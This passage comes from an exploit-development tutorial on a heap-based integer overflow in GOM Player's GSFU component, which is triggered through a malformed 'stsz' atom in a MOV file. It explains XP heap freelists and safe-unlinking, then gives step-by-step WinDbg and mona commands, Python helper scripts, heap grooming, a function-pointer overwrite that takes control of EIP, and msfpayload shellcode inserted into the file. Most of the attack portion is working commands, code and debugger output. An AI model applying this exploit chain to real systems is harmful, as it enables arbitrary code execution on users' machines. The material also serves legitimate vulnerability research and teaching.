> list**.** Exploitation of these structures was first publically documented
> by Halvar Flake in his 2002 paper, “Third Generation Exploitation ”
If an attacker were able to overwrite beyond the bounds of an allocated heap
chunk into a free chunk managed by the Freelists and overwrite the Flink and
Blink of the chunk’s header, upon unlinking that chunk, an arbitrary, 4-byte
write could be achieved**.** To better explain this, let’s look at the
following example**.**

[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8)
         ChunkPtr: 0x00160000, Header: 0x8 bytes, UserPtr: 0x00160008, Flink: 0x00161008, Blink: 0x00160178, ChunkSize: 0x400 (1024), Usersize: 0x410 (1025) 
         ChunkPtr: 0x00161000, Header: 0x8 bytes, UserPtr: 0x00161008, Flink: 0x00162008, Blink: 0x00160008, ChunkSize: 0x500 (1280), Usersize: 0x500 (1280) 
         ChunkPtr: 0x00162000, Header: 0x8 bytes, UserPtr: 0x00162008, Flink: 0x00160178, Blink: 0x00161008, ChunkSize: 0x600 (1536), Usersize: 0x600 (1536)
    
    # Allocated Chunk where our overflow originates:
    Chunk 0x00160fe0 (Usersize 0x20)
[/code]

Here we can see that we’ve got 3 free chunks both of which are managed by
Freelist\[0\]**.** Our allocated chunk where our overflow begins is located at
0x00180FE0 with a size of 0×20 bytes**.** If we are able to write 0×10 \(16\)
bytes beyond our buffer, we can successfully overwrite the metadata of the
free chunk located at 0×00181000, including the Flink and Blink pointers**.**
For the purpose of demonstration, let’s assume that we’ve overwritten the
Flink and Blink pointers with “AAAA” \(0×41414141\) and “BBBB” \(0×42424242\)
respectively**.** This would leave our Freelist structure as follows:

> Please note that this example makes the assumption that the size field of
> the overwritten chunk has been overwritten with it’s previous value of
> 0×500**.**
[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8)
         ChunkPtr: 0x00160000, Header: 0x8 bytes, UserPtr: 0x00160008, Flink: 0x00161008, Blink: 0x00160178, ChunkSize: 0x400 (1024), Usersize: 0x410 (1025) 
         ChunkPtr: 0x00161000, Header: 0x8 bytes, UserPtr: 0x00161008, Flink: 0x41414141, Blink: 0x42424242, ChunkSize: 0x500 (1280), Usersize: 0x500 (1280) 
         ChunkPtr: 0x00162000, Header: 0x8 bytes, UserPtr: 0x00162008, Flink: 0x00160178, Blink: 0x00161008, ChunkSize: 0x600 (1536), Usersize: 0x600 (1536)
    
    # Allocated Chunk where our overflow originates:
    Chunk 0x00160fe0 (Usersize 0x20)
[/code]

Now, if an allocation request were issued for 0x4F8 \(-0×8 bytes to account
for the chunk header\), the application would find our chunk located at
0×00161008 and attempt to unlink it**.** In doing so, it would also attempt to
update the Flink and Blink pointers of the chunk which precedes and follows
our overwritten chunk \(respectively\)**.** When this occurs, the following 2
instructions are executed:

[code]

    ecx=0x42424242 ; Blink
    eax=0x41414141 ; Flink
    
    mov     dword ptr [ecx],eax ; Write 0x41414141 to 0x42424242
    mov     dword ptr [eax+4],ecx ; Write 0x42424242 to 0x41414145
[/code]

Here we can see that as long as both the Flink and Blink are locations with
READWRITE access, the unlink process essentially triggers an arbitrary 4-byte
write**.** Now with the advent of XP SP2, these type of overwrites no longer
exist due to what is known as safe-unlinking**.** Safe-unlinking is
essentially a small set of instructions which validate the Flink and Blink
pointers of the unlinked chunk to ensure that the doubly-linked list has been
maintained**.** If this check fails, the chunk will not be unlinked and a call
to ntdll**\!** RtlpHeapReportCorruption will be made**.** This check is
performed by the following 5 instructions**.**

[code]

    7C910F1E                 mov     edi, [ecx]
    7C910F20                 cmp     edi, [eax+4]
    7C910F23                 jnz     loc_7C936934
    7C910F29                 cmp     edi, edx
    7C910F2B                 jnz     loc_7C936934
[/code]

##### Heap Cookies****

In addition to safe-unlinking, XP SP2 also introduced heap cookies**.** Heap
cookies are simply a single byte value placed at offset +0×4 the heap chunk
header**.** It is only checked during the freeing of a free chunk marked as
busy**.** If the value is corrupt a call is made to
ntdll\!RtlpHeapReportCorruption**.**

#### Application Specific Exploitation****

As we discussed above, the advent of XP SP2 introduced several hardening
measures in to the Windows heap manager which made generic exploitation of
heap based overflows more difficult to say the least**.** In some cases,
exploitation may be impossible. With this, even back in 2004 when researchers
were developing new, generic techniques for bypassing protections within the
XP SP2 heap manager, most concluded that although there are methods available
to bypass these protections, the future of exploitation would likely rely on
identifying application specific methods**.** We certainly can see this today
with the complexity of heap management growing, the enforcement of counter
measures such as ASLR and DEP, as well as the introduction of custom
allocators and sandboxing techniques**.** With that, the focus of this article
will be to identify an application specific method for exploitation**.**
Although this article primarily focuses on the Windows XP heap manager, the
technique described below can likely be applied in this application specific
instance to later versions of Microsoft Windows as well**.**

And with that, let’s use the information we discussed above in order to
reexamine our faulty function**.** We’ll begin by enumerating all data
structures which control what data is read and where it is written to**.**
Looking at our faulting block there are 4 instructions that are of great
interest to us:

[code]

    GSFU**!** DllUnregisterServer+0x23685                 movzx   edx, byte ptr [esi]
    GSFU**!** DllUnregisterServer+0x236a3                 mov     ecx, [edi+28h]
    GSFU**!** DllUnregisterServer+0x236a6                 mov     ecx, [ecx+10h]
    GSFU**!** DllUnregisterServer+0x236a9                 mov     [ecx+eax*4], edx
[/code]

The first instruction is where the contents of our Sample Size Table is read
from poi\(esi\) and then stored in edx**.** Our final instruction is of course
where our write occurs as well as the location of our initial access
violation**.** Looking at our write instruction, we can see that the data from
our Sample Size Table is being written to the location defined by
poi\(ecx+eax\*4\)**.** If you recall from our earlier discussion of this
function, eax is our incremental value**.** This value will be incremented by
one during each iteration of our loop**.** The value we are really concerned
with here is ecx**.** This register will serve as the base value for our write
location**.** The preceding two instructions have been included as they will
help us to identify where ecx derives its value**.** In our second
instruction, we can see that ecx is assigned the value pointed at by
edi+28**.** Then, ecx is reassigned to the value pointed to by it’s own offset
of +0×10**.**

With that said, let’s set some breakpoints and take a look at each of these
locations**.**

[code]

    bp GSFU!DllUnregisterServer+0x23685
    bp GSFU!DllUnregisterServer+0x236a3
    bp GSFU**!** DllUnregisterServer+0x236a6
    bp GSFU!DllUnregisterServer+0x236a9
[/code]

> Unless instructed to do so, ensure that GFlags is disabled**.** You can do
> this by executing the following command:
> gflags.exe /p /disable GOM.exe
With you’re breakpoints set, let’s continue execution until our first bp is
hit**.**

[code]

    Breakpoint 0 hit
    eax=00000000 ebx=000000ec ecx=03207228 edx=80000027 esi=03207134 edi=032070d0
    eip=03b34965 esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
    GSFU**!** DllUnregisterServer+0x23685:
    03b34965 0fb616          movzx   edx,byte ptr [esi]         ds:0023:03207134=00
[/code]

Here we can see that the first byte of our Sample Size Table is being loaded
into edx from the location pointed to by esi**.** Once again we can use the
\!mona extension to enumerate a great deal of information regarding this
location**.**

[code]

    **0:000 > !py mona info -a 03207134**
    Hold on...
    [+] Generating module info table, hang on..**.**
        - Processing modules
        - Done. Let's rock 'n roll**.**
    [+] NtGlobalFlag: 0x00000000
        No GFlags set
    
    [+] Information about address 0x03207134
        ascii {PAGE_READWRITE}
        Address is part of page 0x03200000 - 0x03209000
        **This address resides in the heap**
    
    Address 0x03207134 found in 
        _HEAP @ 03200000, Segment @ 03200680
                          (         bytes        )                   (bytes)
          HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state
            **03207118  00000108  00000050  00000008  [01]   03207120  00000100  00000000   Busy  (hex)**
                      00000264  00000080  00000008                   00000256  00000000   Busy  (dec)
    
          Chunk header size: 0x8 (8)
          **Size initial allocation request: 0x100 (256)**
          Total space for data: 0x100 (256)
          Delta between initial size and total space for data: 0x0 (0)
          Data : 00 00 01 00 73 74 73 7a 00 00 00 00 00 00 00 00 80 00 00 27 00 00 94 b5 00 00 52 d4 00 00 52 a8 ..**.**
[/code]

Excellent. So here we can see that our data is being read from a heap chunk
that belongs to the private heap located at 0×03200000**.** It’s also
important to note that the requested size of this heap chunk was 0×100**.**
This is important as this is the same value used for the size field of our
‘stsz’ atom**.** Manipulating this field in the file will also likely change
our allocation size**.** More on this in a bit. For now, let’s continue on to
our second breakpoint**.**

[code]

    Breakpoint 1 hit
    ...truncated..**.**
    
    03b34983 8b4f28          mov     ecx,dword ptr [edi+28h] ds:0023:032070f8=03207228
    0:000> **!** py mona info -a 032070f8
    ...truncated..**.**
        **This address resides in the heap**
    
    Address 0x032070f8 found in 
        _HEAP @ 03200000, Segment @ 03200680
                          (         bytes        )                   (bytes)
          HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state
            **032070c8  00000050  00000020  00000008  [01]   032070d0  00000048  00000000   Busy  (hex)**
                      00000080  00000032  00000008                   00000072  00000000   Busy  (dec)
[/code]

Good**.** Ok, so once again we see that we’re dealing with another chunk that
belongs to the private heap located at 0×03200000**.** This chunk contains the
pointer 0×03207228 which get’s assigned to ecx**.** Let’s go ahead and hit our
3rd break point and take a look at that location as well**.**

[code]

    Breakpoint 2 hit
    ...truncated..**.**
    
    03b34986 8b4910          mov     ecx,dword ptr [ecx+10h] ds:0023:03207238=03207248
    0:000> **!** py mona info -a 03207238
    ...truncated..**.**
    
    Address 0x03207238 found in 
    **_HEAP @ 03200000, Segment @ 03200680**
                          (         bytes        )                   (bytes)
          HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state
    **03207220  00000020  00000108  0000000c  [01]   03207228  00000014  00000004   Busy  (hex)**
                      00000032  00000264  00000012                   00000020  00000004   Busy  (dec)
[/code]

And once again, we see that we’re dealing with a 3rd chunk that belongs to the
private heap located at 0×03200000**.** Now on to our final write
location**.**

[code]

    Breakpoint 3 hit
    ...truncated..**.**
    
    03b34989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:03207248=00000000
    0:000> **!** py mona info -a 03207248
    ...truncated..**.**
    
    Address 0x03207248 found in 
    **_HEAP @ 03200000, Segment @ 03200680**
                          (         bytes        )                   (bytes)
          HEAP_ENTRY      Size  PrevSize    Unused Flags    UserPtr  UserSize Remaining - state
            **03207240  000000a8  00000020  0000000c  [01]   03207248  0000009c  00000004   Busy  (hex)**
                      00000168  00000032  00000012                   00000156  00000004   Busy  (dec)
    
          Chunk header size: 0x8 (8)
          Size initial allocation request: 0x9c (156)
[/code]

Great**.** Now we see that our data is being written to a 4th and final heap
chunk belonging the 0×03200000**.** It’s important to recall that the initial
\(requested\) allocation size of this block is 0x9c which if course is due to
our integer overflow**.**

Now what’s the point in all this? Why did I have you go through each
instruction to identify the heap blocks in question**?** I promise it wasn’t
to fluff out another 1000 words**.** Let’s summarize the heap chunks that
we’ve identified**.**

[code]

    Chunk 1 - Address: 03207118   Size: 0x108   Desc: Chunk containing our data to be read
    Chunk 2 - Address: 032070C8   Size: 0x50    Desc: Chunk containing p2p of write block
    Chunk 3 - Address: 03207220   Size: 0x20    Desc: Chunk containing pointer to our write location**.**
    Chunk 4 - Address: 03207240   Size: 0xa8    Desc: Chunk containing our written data
[/code]

Now remember, chunk 4 is where our tainted data is being written and
therefore, also the location of our overflow**.** Now the trick here is to
overflow our data into something useful**.** With the current heap state,
chunk 4 occurs at a location past all of our previous chunks**.** If we were
somehow able to manipulate the heap so that our chunk would get allocated to a
location prior to chunks 2 or 3, we could overwrite the value of ecx**.** And
since we already control edx during our write instruction, controlling ecx
would give us the ability to perform an arbitrary write**.** As we had
demonstrated from the last article in this series, an arbitrary 4-byte write
can be used to overwrite an application function pointer, therein allowing us
to gain control over the instruction pointer**.**

So our next hurdle is to determine how exactly we can manipulate our 4th chunk
in order to have it placed prior to chunks 2 and 3**.** Well, fortunately for
us we can control its requested allocation size**.**

As we discussed in the heap basics section, free chunks are managed by 2
primary structures \(Lookaside Lists and Free Lists\)**.** Both structures
sort entries on the basis of size**.** In this case, all we need to do is to
identify a free chunk closest to either the base address of Chunk 2 or 3**.**
Once we’ve done so, we can modify the requested size of our 4th chunk in order
to match that of our target free block**.** If everything works as expected,
when that chunk is allocated, it’ll get allocated to a location prior to
either chunks 2 and 3**.**

Before we continue however, there’s something that I must address**.** One of
the biggest issues with heap exploitation is having a deterministic heap
state**.** This means that the layout of chunks and various heap structures
are predictable**.** In the case of our GOM vulnerability, we’re dealing with
a private heap**.** The addresses for these heap chunks will likely
change**.** Furthermore, the address of the private heap itself will more than
likely change from system to system and even between executions**.** However,
in my testing, the allocations and frees performed on this heap up until the
point of our access violation appear to be static**.** And by that I mean that
the same data of the same size is being allocated on each run of the
application**.** With that, our heap will likely be in a deterministic
state**.** Now although the addresses may change, the offset to each chunk
will likely remain the same**.** With this, we are able to reliably trigger
our arbitrary overwrite**.**

Ok, with that said, let’s take a look at what free chunks we have available to
us**.** Still at our 4th breakpoint, let’s execute the following 2 commands:

[code]

    **!** py mona heap –h 0320000 –t bea
    !py mona heap –h 0320000 –t fea
[/code]

These two commands will display the contents of the back end \(-bea\) and
front end allocators \(-fea\) respectively**.** Rather than posting the full
output, I’ve broken it down to the following:

[code]

    0:000> **!** py mona heap -h 03200000 -t bea
    [+] FreeList[00] at 0x03200178, Expected size: >1016 (>0x3f8)
         ChunkPtr: 0x032072e8, Header: 0x8 bytes, UserPtr: 0x032072f0, Flink: 0x032080d8, Blink: 0x03200178, ChunkSize: 0x4e0 (1248), Usersize: 0x4e0 (1248) 
         ChunkPtr: 0x032080d0, Header: 0x8 bytes, UserPtr: 0x032080d8, Flink: 0x03205dd8, Blink: 0x032072f0, ChunkSize: 0xf30 (3888), Usersize: 0xf30 (3888) 
         ChunkPtr: 0x03205dd0, Header: 0x8 bytes, UserPtr: 0x03205dd8, Flink: 0x03200178, Blink: 0x032080d8, ChunkSize: 0x10d8 (4312), Usersize: 0x10cc (4300) 
    
    0:000> **!** py mona heap -h 03200000 -t fea
    LAL [5] @0x03200778, Expected Chunksize 0x28 (40), Flink : 0x032058a0
    LAL [9] @0x03200838, Expected Chunksize 0x48 (72), Flink : 0x03205a58
    LAL [11] @0x03200898, Expected Chunksize 0x58 (88), Flink : 0x03207018
    LAL [13] @0x032008f8, Expected Chunksize 0x68 (104), Flink : 0x03202448
    LAL [15] @0x03200958, Expected Chunksize 0x78 (120), Flink : 0x032022b0
[/code]

Interesting**.** Take a look at LAL \[11\]. Here we can see a free chunk that
begins at 0×03207018**.** That’s only 0xB0 bytes away from the start of chunk
2**.** If we can place at least that many bytes in our container, we should be
able to overwrite the pointer pointed at by @edi-28 at the instruction
GSFU**\!** DllUnregisterServer+0x236a3, therefore tainting @ecx**.**

Ok, so first things first**.** We need to manipulate the size of our
allocation. As the allocation size of our write block is dictated by the value
supplied to the “Number of Entries” element within our “stsz” atom, we need to
figure out what value to supply in order to have this block allocated to LAL
\[11\]**.** Now remember, since our integer get’s wrapped, we really only need
to worry about the last byte of this element**.** In our original
MutatedSeed.mov, we supplied a value of 0×80000027**.** This was multiplied by
4 resulting in 0x9C \(the same if we were to do 0×27 \* 4\)**.** So in order
to place our allocation within LAL \[11\] we need to provide a value of 0×50
\(the size of LAL \[11\] – 0×8 bytes for the header\) divided by 4, resulting
in 0×14**.** So let’s go ahead and change our value of the “Number of Entries”
element to 0×80000014**.** Save these changes, set the following breakpoint at
our first pointer assignment and continue execution**.** We’ll then step
through until we hit our write instruction**.**

[code]

    **0:000 > bp GSFU!DllUnregisterServer+0x236a3**
    Bp expression 'GSFU**!** DllUnregisterServer+0x236a3' could not be resolved, adding deferred bp
    0:000> g
    Breakpoint 0 hit
    eax=00000000 ebx=000000ec ecx=000000b5 edx=000094b5 esi=03207134 edi=032070d0
    eip=03c34983 esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    GSFU**!** DllUnregisterServer+0x236a3:
    **03c34983 8b4f28          mov     ecx,dword ptr [edi+28h] ds:0023:032070f8=03207228**
    0:000> t
    eax=00000000 ebx=000000ec ecx=03207228 edx=000094b5 esi=03207134 edi=032070d0
    eip=03c34986 esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    GSFU**!** DllUnregisterServer+0x236a6:
    03c34986 8b4910          mov     ecx,dword ptr [ecx+10h] ds:0023:03207238=03207018
    0:000> t
    eax=00000000 ebx=000000ec ecx=03207018 edx=000094b5 esi=03207134 edi=032070d0
    eip=03c34989 esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    GSFU**!** DllUnregisterServer+0x236a9:
    **03c34989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:03207018=00000000**
[/code]

Excellent**\!** We’ve managed to place chunk 4 prior to chunk 1. With our
current setup, we’re writing 0xEC bytes to this chunk which is more than
enough to overwrite our pointer**.** To confirm, we can set a hw breakpoint on
0x032070f8 \(@edi-28\) to trigger whenever a write attempt is made**.** Also,
make sure to clear your other breakpoints.

[code]

    0:000> bc *
    0:000> ba w 4 032070f8
    0:000> g
    Breakpoint 0 hit
    eax=00000038 ebx=0000000c ecx=03207018 edx=00005184 esi=03207214 edi=032070d0
    eip=03c3498c esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
    GSFU**!** DllUnregisterServer+0x236ac:
    **03c3498c 8b5728          mov     edx,dword ptr [edi+28h] ds:0023:032070f8=00005184**
[/code]

Excellent once again**\!** Here we’ve managed to overwrite the original
pointer value of 0×03207228 to 0×00005184 which is a value contained within
our “Sample Size Table”**\!** With that, we now control ecx.

Now for the tricky part**.** Since ecx is not used directly in our write
instruction, we’ll need to find a series of pointers to pointers in order to
accomplish our arbitrary write**.** Since we want to control the value within
ecx during the write instruction, we’ll need to work from there backwards in
order to determine the actual value to provide within our sample file**.**
Let’s take a look once again at our 4 instructions:

[code]

    GSFU**!** DllUnregisterServer+0x23685                 movzx   edx, byte ptr [esi]
    GSFU**!** DllUnregisterServer+0x236a3                 mov     ecx, [edi+28h]
    GSFU**!** DllUnregisterServer+0x236a6                 mov     ecx, [ecx+10h]
    GSFU**!** DllUnregisterServer+0x236a9                 mov     [ecx+eax*4], edx
[/code]

  * First, during our write instruction we again notice that ecx is added to the value of eax\*4**.** The resulting number will be the address of our write location**.** When trying to determine pointers that can be used to overwrite a function pointer, we’ll first need to subtract \(eax \*4\) from these pointer locations**.**
  * Next, we’ll need to take these numbers and find a pointer to them with an offset of –0×10**.**
  * Finally, to satisfy our last requirement, we’ll need to find a pointer to our previous pointer with an offset of –0×28**.**

I’m sure that this sounds incredibly complicated however, let’s take it step
by step and attempt to identify which function pointers are available to
us**.**

> **How I Fail:**
> What’s interesting about our predicament here is that to find these
> pointers, we must use data present within our application and it’s available
> libraries \(including system libraries\)**.** This issue is further
> complicated by the fact that GOM marks most of it’s modules as rebased which
> in effect prevents us from using these modules as the addresses will likely
> change**.** If this application could be executed via a web browser or
> provided us with some level of scripting, we could use a precise heap spray
> such as **corelanc0d3r’s DEPS** to satisfy our requirements by storing our
> pointers at a reliable place within memory**.** However, we don’t have that
> luxury which forces us to identify the appropriate bytes in our applications
> modules**.** And, as I’m sure you know, using OS modules is less than ideal
> as the addresses within these modules will likely change based on patch and
> service levels**.** However, we must make do with what we have.
So with that said, let’s begin first by identifying all writable function
pointers that exist in modules not marked as rebased**.** You can accomplish
this by using the following command:

[code]

    **!** py mona fwptr –cm rebase=false
    # This may take quite a while**.**
[/code]

Once this has finished, we next need to subtract 0xE4 from these values**.**
This is the value of eax\*4 during our write instruction**.** Currently,
there’s no easy way to do this as the offset and offset level options provided
by **\!** mona only apply to p2p \(pointer to pointer\) results**.** In lieu
of that, I’ve written a small python script that will subtract our offset of
0xE4 from the identified offsets**.** Remember, we’ll need to manipulate these
pointers in reverse in order to have the correct result in our write
instruction**.**

[code]

    #!/usr/bin/python
    from __future__ import print_function
    import re
    
    new = open('updated-wptr.txt','w')
    with open("wptr.txt") as f:
       content = f.readlines()
    
    for line in content:
        line = line.rstrip()
        ptr1, ptr2 = '',''
        if re.match("^0x", line):
            ptr1 = re.match("^0x[a-f0-9]{8}", line).group(0)
            if ptr1:
                ptr2 = hex(int(ptr1, 16) - int("0xE4", 16))
                line = re.sub(ptr1, ptr2, line)
        print(line, file=new)
    
    new.close()
[/code]

This will leave the original wptr.txt intact and write our modified data to
update-ptr.txt**.** Once that is complete, we need to take each one of these
pointers and find a pointer to them with an offset of negative offset of
0×10**.** This can be accomplished by the following command:

[code]

    **!** py mona find –cm rebase=false –t file –p2p –offset 0x10 –offsetlevel 1 –s updated-wptr.txt
    # This will also take an incredibly long time**.**  The output will be written to find.txt
[/code]

Once this has completed, we now need to identify which writable function
pointers are called after our overwrite occurs**.** To do this, I used a bit
of bash-fu to isolate the writable function pointers that we can control**.**

[code]

    grep -Po "(?<=\ at\ )0x[a-f0-9]{8}" find.txt |sort -u |sed 's/^/bp /g;s/$/ "r;gc"/g'
[/code]

In my case, I identified just over 2500 function pointers that we have the
ability to manipulate**.** Your results may vary depending. Let’s hold on to
this data for a moment and look back at our “stsz” block**.** Earlier when we
set our hw breakpoint we saw that the value 0×00005184 was being written to
poi\(@edi+0×28\)**.** This value actually occurs twice within our “stsz”
atom**.** In order to identify exactly what data is being written, let’s go
ahead and replace the entire “Sample Size Table” \(not the entire atom\) with
a cyclical pattern**.** Our “Sample Size Table” is 0xEC \(236\) bytes in
length so let’s generate a pattern of the same size**.** We can use \!mona to
accomplish this by executing the following command:

[code]

    **!** py mona pc 236
[/code]

And once again, let’s set a breakpoint on our first pointer assignment**.**
This time, we’ll configure the breakpoint to also apply a write access
breakpoint on poi\(edi+0×28\)**.**

[code]

    bp GSFU!DllUnregisterServer+0x236a3 /1 "ba w 4 (edi+28);gc"
    ...truncated..**.**
    
    eax=00000038 ebx=0000000c ecx=03207018 edx=34416835 esi=03207214 edi=032070d0
    eip=03c3498c esp=0012bdb4 ebp=03207120 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
    GSFU**!** DllUnregisterServer+0x236ac:
    **03c3498c 8b5728          mov     edx,dword ptr [edi+28h] ds:0023:032070f8=34416835**
[/code]

Great**.** Now using \!mona we can find the offset**.**

[code]

    0:000> !py mona po 34416835
    Hold on..**.**
    Looking for 5hA4 in pattern of 500000 bytes
    Looking for 4Ah5 in pattern of 500000 bytes
     - Pattern 4Ah5 (0x34416835 reversed) found in cyclic pattern at position 224
[/code]

Ok**.** Moving right along. So offset 224 \(0xE4\) contains the value that
will be used to overwrite our pointer located at poi\(edi+0×28\)**.** Let’s go
ahead and change this to any writable function pointer just so that we don’t
trigger a read or write access violation**.** I randomly selected 0x7760ca30,
a pointer to a pointer that will eventually point to a writable region within
ole32.dll\*\*\* **.** Let’s save the file and again set a breakpoint on our
first pointer assignment so that it triggers whenever the pointer has been
overwritten**.**

> 0x7760ca30 : ptr-16\(-10h\) to 0x7760ca40 \(-> ptr to 0x7760ca40 gets called from ole32.dll at 0x775e4454 \(CALL DWORD PTR DS\) \*\* | \{PAGE\_READWRITE\} \[ole32.dll\] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5**.** 1.2600.6168 \(C:\WINDOWS\system32\ole32.dll\)
[code]

    bp GSFU**!** DllUnregisterServer+0x236a3 /1 "ba w 4 (edi+28);gc"
    ...truncated..**.**
    
    eax=00000038 ebx=0000000c ecx=03227018 edx=7e4711f8 esi=03227214 edi=032270d0
    eip=03c3498c esp=0012bdb4 ebp=03227120 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    GSFU**!** DllUnregisterServer+0x236ac:
    **03c3498c 8b5728          mov     edx,dword ptr [edi+28h] ds:0023:032270f8=7e4711f8**
[/code]

Excellent**.** Now, let’s clear our breakpoints and this time, apply all 2500+
breakpoints from bash-fu output**.**

Upon execution, you’ll see a number of breakpoints get hit**.** Out of my 2500
breakpoints, 20 were hit prior to triggering an access violation at GSFU**\!**
DllUnregisterServer+0x236af. Of the 20 possible function pointers that we can
use, I’ve chosen to go with the following**.** I’ll explain exactly why in
just a bit.

[code]

    0x7e419dc2 : ptr-16(-10h) to 0x7e4712ec (-> ptr to  0x7e4712ec gets called from USER32.dll at 0x7e46c6f3 (CALL DWORD PTR DS) **  |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5**.** 1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
[/code]

So with this, let’s set out pointer to 0x7e419dc2 \(this should be at file
offset 0×1403\)**.** Save your changes and let’s observe what happens in the
debugger**.**

[code]

    (b58.dc0): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling**.**
    This exception may be expected and handled.
    eax=008a0650 ebx=0018033a ecx=035bfe24 edx=00000002 esi=00000002 edi=00a22f78
    eip=41683641 esp=035bfddc ebp=035bfdfc iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    **41683641**?****?**              ??**?****
[/code]

Excellent\! So here we’ve managed to overwrite the function pointer with the
value adjacent to our pointer in MutatedSeed.mov \(0×41683641\)**.** The
reason for this is obvious of course as our vulnerable function writes in 4
byte increments**.** So during one iteration our pointer will be used to set
our base write address \(from this point forward\) to 0x7e4713d0**.** On our
next iteration, our data from our cyclical pattern, Ah6A \(0×41683641\), will
be used to overwrite our function pointer**.**

Now that we’ve gained control over the instruction pointer, we still need to
find a way to execute shellcode**.** At this point, we would typically look
for a pointer on the stack that will lead us back to a location in memory that
we control**.** However, as you can see when the function pointer is called,
esp is set to 0x035bfddc which is very far away from our stack used during our
write function \(stack beginning at 0×00127000\)**.** Now we could look for a
way to pivot our stack pointer back to a location we control however it is
unlikely that we will be successful**.** Typically stack pivots allow you to
shift the stack pointer up rather than down**.** Because of this, the gadgets
available to us will be limited**.**

However, there is actually a significantly easier method available to us in
order to gain code execution**.** Think back to our vulnerable function. Its
job is to read the contents of the sample size table and write it to a
location defined within memory**.** In the example above, we manipulated ecx
used during our write instruction to point to a writeable location in memory
allowing us to overwrite a function pointer**.** However, what would happen if
we were to provide additional data to be written other than our new function
pointer address**?** The behavior of the function would not change. We would
overwrite the function pointer, and then continue to write the contents of our
sample size table adjacent to this function pointer**.** As we’re already
using the static address of the function pointer, we can just as easily use
this region in order to store our shellcode**.**

Looking back at our file however, we can see that after overwriting our
function pointer with 0×41683641, we’re only writing another 4 bytes**.** This
means that we’ll have to expand our sample size table in order to accommodate
our shellcode**.** For the purposes of this document, I’ll only be using a
simple windows/exec payload and of course, popping calc**.** This means that
we will need an additional 200 bytes \(0xC8\) in our sample size table**.** To
accommodate this, let’s go ahead and modify the size element of the ‘stsz’
atom from 0×00000100 to 0×00000200 \(file offset 0x130F\)**.** This will give
us an additional 0×100 bytes of space**.** Now let’s also go ahead and insert
an additional 0×100 bytes beginning at file offset 0x140F**.** For simplicity
sake, let’s insert 0×100 bytes of NOPs \(0×90\)**.**

Next, we’ll need to set the value used to overwrite our function pointer to
the location of our function pointer +0×4**.** This location will contain the
start of our shellcode**.** As our function pointer calls the DWORD PTR
located at 0x7e4713d0, let’s replace the 4 bytes located at file offset 0×1407
with 0x7e4713d4**.**

Next, let’s generate our shellcode using the following syntax**.**

[code]

    msfpayload windows/exec CMD="calc.exe" R > foo.raw
[/code]

With our pointer set and shellcode created, you’d probably assume that we
would just paste out shellcode and be good to go**.** However, there’s one
last hurdle we need to overcome**.** Remember back to when we were dissecting
our function**?** Our data is first read in 4 byte chunks. The byte order of
each 4 byte chunk is then reversed and written to our intended location**.**
As such, we can’t simply paste our shellcode as it will be written
improperly**.** In order to work around this issue, I used the following short
python code in order to reverse the byte order of each 4 byte chunk**.** The
results of which are written to foo.fixed.raw**.**

[code]

    #!/usr/bin/python
    
    out = []
    with open("foo.raw", "r") as f:
      byte = f.read(4)
      while byte **!** = "":
        out.append(byte[::-1])
        byte = f.read(4)
    
    with open("foo.fixed.raw", "w") as f:
      for x in out:
        f.write(x)
[/code]

With our shellcode fixed, let’s go ahead and paste it into our file beginning
at file offset 0x140B**.** Finally. save the changes and let’s observe the
results in our debugger**.**

<img src='https://www.corelan.be/wp-
content/uploads/2013/05/RCAIntegerOverflow7_thumb.png' alt='RCA-Integer-
Overflow-7' />

And with a bit of luck, calc.exe should be launched in turn demonstrating full
exploitation of our issue**.** A copy of the proof of concept used to trigger
this bug can be downloaded here **.**

##### Thoughts on This Attack****

Before we continue, I’d like to cover a few thoughts I had during the
exploitation process**.**

First, using this attack vector we chose to target the pointer located at
\[edi+0x28\]**.** In doing so, we had to identify function pointers which met
2 sets of criteria**.** First, we needed a pointer where we could subtract the
offset 0xE4 \(due to our pointer used by \(ecx+eax\*4\)\)**.** Then, we needed
to identify pointers to these pointers which could account for an offset of
0×10 \(due to mov ecx, \[ecx+0x10\]\)**.** As each pointer was contained
within their own respective heap chunks, wouldn’t it have been easier to
target the pointer pointed to by \[ecx+0x10\]**?** The answer to this is,
well, “maybe”. Getting our tainted data to overwrite the pointer located at
\[ecx-10\] would be as simple as it was to overwrite the pointer located at
\[edi+0x28\]**.** We would simply need to change our allocation size in order
to place it prior to this chunk, then write enough data to overwrite the
pointer**.** Doing so would provide us to a significantly greater range of
writable function pointers**.** Many of which would provide us with a register
state that would allow us to pivot the stack pointer back to our
shellcode**.** However, the problem with this method is that due to the heap
layout, we would also overwrite several other heap chunks in the process**.**
Doing so would mean that we would have to contend with serious heap
corruption, most of which we may not be able to correct – at least not
reliably**.** As each element within the application is essentially allocated
